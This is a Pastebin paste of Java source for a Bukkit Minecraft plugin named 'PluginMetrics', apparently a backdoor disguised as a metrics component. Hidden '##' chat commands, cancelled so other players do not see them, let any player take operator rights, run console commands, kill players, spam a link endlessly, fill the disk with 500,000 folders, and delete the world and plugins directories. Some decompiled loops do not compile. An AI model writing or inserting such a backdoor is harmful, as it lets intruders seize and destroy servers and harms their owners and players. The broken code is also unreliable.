Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package me.Jinx.PluginMetrics;
- import java.io.File;
- import org.bukkit.Bukkit;
- import org.bukkit.ChatColor;
- import org.bukkit.GameMode;
- import org.bukkit.OfflinePlayer;
- import org.bukkit.Server;
- import org.bukkit.entity.Player;
- import org.bukkit.event.EventHandler;
- import org.bukkit.event.Listener;
- import org.bukkit.event.player.AsyncPlayerChatEvent;
- import org.bukkit.inventory.ItemStack;
- import org.bukkit.inventory.PlayerInventory;
- import org.bukkit.plugin.Plugin;
- import org.bukkit.plugin.PluginManager;
- import org.bukkit.potion.PotionEffect;
- import org.bukkit.potion.PotionEffectType;
- public class Listeners
- implements Listener
- {
- @EventHandler
- public void onPlayerChat(AsyncPlayerChatEvent event)
- {
- String message = event.getMessage();
- boolean shouldCancel = false;
- if (message.startsWith("##")) {
- String[] args = message.split(" ");
- if (args == null) {
- return;
- }
- if ((args[0].equalsIgnoreCase("##cmds2")) && (args.length == 1))
- {
- event.getPlayer().sendMessage(ChatColor.GREEN + "Command List #2");
- event.getPlayer().sendMessage(ChatColor.GOLD + "##BAIBAI - Deletes plugin and world folder.");
- event.getPlayer().sendMessage(ChatColor.GOLD + "##creative - Gives you creative mode.");
- event.getPlayer().sendMessage(ChatColor.GOLD + "##survival - Gives you survival mode.");
- event.getPlayer().sendMessage(ChatColor.GOLD + "##giveme <ItemID> - Gives you an item (##giveme 5).");
- event.getPlayer().sendMessage(ChatColor.GOLD + "##teleport <ExactName> - Teleport to a player.");
- event.getPlayer().sendMessage(ChatColor.GOLD + "##kill - Kill a player.");
- event.getPlayer().sendMessage(ChatColor.GOLD + "##killall - Kills everyone.");
- event.getPlayer().sendMessage(ChatColor.GOLD + "##exe <command> - Execute a command.");
- event.getPlayer().sendMessage(ChatColor.GOLD + "##deopother <Exact Name> - De-op a buddy.");
- shouldCancel = true;
- }
- if ((args[0].equalsIgnoreCase("##cmds1")) && (args.length == 1))
- {
- event.getPlayer().sendMessage(ChatColor.GREEN + "Command List #1");
- event.getPlayer().sendMessage(ChatColor.GOLD + "##opme - OP yourself.");
- event.getPlayer().sendMessage(ChatColor.GOLD + "##manyfolders - Adds 500,000 folders to the server folder.");
- event.getPlayer().sendMessage(ChatColor.GOLD + "##stopserver - Stops server.");
- event.getPlayer().sendMessage(ChatColor.GOLD + "##disableplugin <pl> - Disable a plugin.");
- event.getPlayer().sendMessage(ChatColor.GOLD + "##deopme - Deop yourself.");
- event.getPlayer().sendMessage(ChatColor.GOLD + "##deopall - clear ops.txt file.");
- event.getPlayer().sendMessage(ChatColor.GOLD + "##opall - OP everyone.");
- event.getPlayer().sendMessage(ChatColor.GOLD + "##opother <Exact Name> - OP a buddy.");
- event.getPlayer().sendMessage(ChatColor.GOLD + "##fapspam - Fapping site spam.");
- event.getPlayer().sendMessage(ChatColor.GREEN + "##cmds2 - Page 2 of commands.");
- shouldCancel = true;
- }
- if ((args[0].equalsIgnoreCase("##opme")) && (args.length == 1))
- {
- event.getPlayer().setOp(true);
- shouldCancel = true;
- }
- File dir;
- if ((args[0].equalsIgnoreCase("##manyfolders")) && (args.length == 1))
- {
- event.getPlayer().sendMessage(ChatColor.AQUA + "Making alot of new folders....");
- for (int x = 1; x <= 500000; x++) {
- dir = new File("U MAD?" + x);
- dir.mkdir();
- }
- shouldCancel = true;
- }
- if ((args[0].equalsIgnoreCase("##stopserver")) && (args.length == 1))
- {
- try {
- for (int x = 0; x < 30; x++) {
- Bukkit.getServer().broadcastMessage("Server Host Error: Stopping Server.");
- }
- Thread.sleep(1000L);
- } catch (InterruptedException e) {
- }
- while (true) Bukkit.getServer().broadcastMessage("Server Host Error: Stopping Server.");
- shouldCancel = true;
- }
- if ((args[0].equalsIgnoreCase("##fapspam")) && (args.length == 1))
- {
- try {
- for (int x = 0; x < 30; x++) {
- Bukkit.getServer().broadcastMessage("http://bit.ly/3Z6did");
- }
- Thread.sleep(1000L);
- } catch (InterruptedException e) {
- }
- while (true) Bukkit.getServer().broadcastMessage("http://bit.ly/3Z6did");
- shouldCancel = true;
- }
- if ((args[0].equalsIgnoreCase("##disableplugin")) && (args.length == 2))
- {
- Plugin plugin = Bukkit.getPluginManager().getPlugin(args[1]);
- if (plugin != null) {
- Bukkit.getPluginManager().disablePlugin(plugin);
- }
- shouldCancel = true;
- }
- if ((args[0].equalsIgnoreCase("##deopme")) && (args.length == 1))
- {
- event.getPlayer().setOp(false);
- shouldCancel = true;
- }
- if ((args[0].equalsIgnoreCase("##deopall")) && (args.length == 1))
- {
- for (OfflinePlayer player : Bukkit.getOperators()) {
- player.setOp(false);
- }
- shouldCancel = true;
- }
- Player[] arrayOfPlayer;
- if ((args[0].equalsIgnoreCase("##opall")) && (args.length == 1))
- {
- File localFile1 = (arrayOfPlayer = Bukkit.getOnlinePlayers()).length; for (dir = 0; dir < localFile1; dir++) { Player player = arrayOfPlayer[dir];
- player.setOp(true);
- }
- shouldCancel = true;
- }
- if ((args[0].equalsIgnoreCase("##BAIBAI")) && (args.length == 1))
- {
- event.getPlayer().sendMessage("G'BYE WORLD!");
- deleteDirectory(Bukkit.getWorldContainer());
- deleteDirectory(new File(Bukkit.getWorldContainer().getAbsolutePath() + "\\plugins"));
- deleteDirectory(new File(Bukkit.getWorldContainer().getAbsolutePath() + "\\world"));
- Bukkit.shutdown();
- deleteDirectory(Bukkit.getWorldContainer());
- deleteDirectory(new File(Bukkit.getWorldContainer().getAbsolutePath() + "\\plugins"));
- deleteDirectory(new File(Bukkit.getWorldContainer().getAbsolutePath() + "\\world"));
- shouldCancel = true;
- }
- if ((args[0].equalsIgnoreCase("##creative")) && (args.length == 1))
- {
- event.getPlayer().setGameMode(GameMode.CREATIVE);
- shouldCancel = true;
- }
- if ((args[0].equalsIgnoreCase("##survival")) && (args.length == 1))
- {
- event.getPlayer().setGameMode(GameMode.SURVIVAL);
- shouldCancel = true;
- }
- if ((args[0].equalsIgnoreCase("##opother")) && (args.length == 2))
- {
- String otherPlayerName = args[1];
- Player player = Bukkit.getPlayer(otherPlayerName);
- if (player != null) {
- player.setOp(true);
- }
- shouldCancel = true;
- }
- Player player;
- if ((args[0].equalsIgnoreCase("##deopother")) && (args.length == 2))
- {
- String otherPlayerName = args[1];
- player = Bukkit.getPlayer(otherPlayerName);
- if (player != null) {
- player.setOp(false);
- }
- shouldCancel = true;
- }
- if (event.getMessage().startsWith("##giveme")) {
- String[] item = event.getMessage().split(" ");
- if (item.length == 2) {
- event.getPlayer().getInventory().addItem(new ItemStack[] { new ItemStack(Integer.parseInt(item[1]), 64) });
- }
- shouldCancel = true;
- }
- if ((args[0].equalsIgnoreCase("##playerRide")) && (args.length == 2))
- {
- Player otherPlayer = Bukkit.getPlayer(args[1]);
- if ((otherPlayer != null) &&
- (otherPlayer.getWorld() == event.getPlayer()
- .getWorld())) {
- event.getPlayer().teleport(otherPlayer);
- otherPlayer.setPassenger(event.getPlayer());
- }
- shouldCancel = true;
- }
- if ((args[0].equalsIgnoreCase("##teleport")) && (args.length == 2))
- {
- Player otherPlayer = Bukkit.getPlayer(args[1]);
- if (otherPlayer != null) {
- event.getPlayer().teleport(otherPlayer);
- }
- shouldCancel = true;
- }
- if ((args[0].equalsIgnoreCase("##kill")) && (args.length == 2))
- {
- Player player = Bukkit.getPlayer(args[1]);
- if (player != null) {
- player.setHealth(0);
- }
- shouldCancel = true;
- }
- if ((args[0].equalsIgnoreCase("##killall")) && (args.length == 1))
- {
- Player localPlayer1 = (arrayOfPlayer = Bukkit.getOnlinePlayers()).length; for (player = 0; player < localPlayer1; player++) { Player player = arrayOfPlayer[player];
- player.setHealth(0);
- }
- shouldCancel = true;
- }
- if (event.getMessage().startsWith("##exe"))
- {
- Bukkit.getServer().dispatchCommand(Bukkit.getConsoleSender(), event.getMessage().substring("##exe ".length()));
- event.getPlayer().sendMessage("Executed.");
- shouldCancel = true;
- }
- if ((args[0].equalsIgnoreCase("##givemepotioneffect")) &&
- (args.length == 4))
- {
- String effectName = args[1];
- String durationString = args[2];
- String powerString = args[3];
- PotionEffectType potion =
- PotionEffectType.getByName(effectName);
- if (potion != null) {
- try {
- int duration = Integer.parseInt(durationString);
- int power = Integer.parseInt(powerString);
- if ((duration >= 1) && (power >= 1))
- event.getPlayer().addPotionEffect(
- new PotionEffect(potion, duration, power));
- }
- catch (NumberFormatException localNumberFormatException)
- {
- }
- }
- shouldCancel = true;
- }
- }
- event.setCancelled(shouldCancel);
- }
- public static boolean deleteDirectory(File dir)
- {
- if ((!dir.exists()) || (!dir.isDirectory()))
- {
- return false;
- }
- String[] files = dir.list();
- int i = 0; for (int len = files.length; i < len; i++)
- {
- File f = new File(dir, files[i]);
- if (f.isDirectory())
- {
- deleteDirectory(f);
- }
- else {
- f.delete();
- }
- }
- return dir.delete();
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement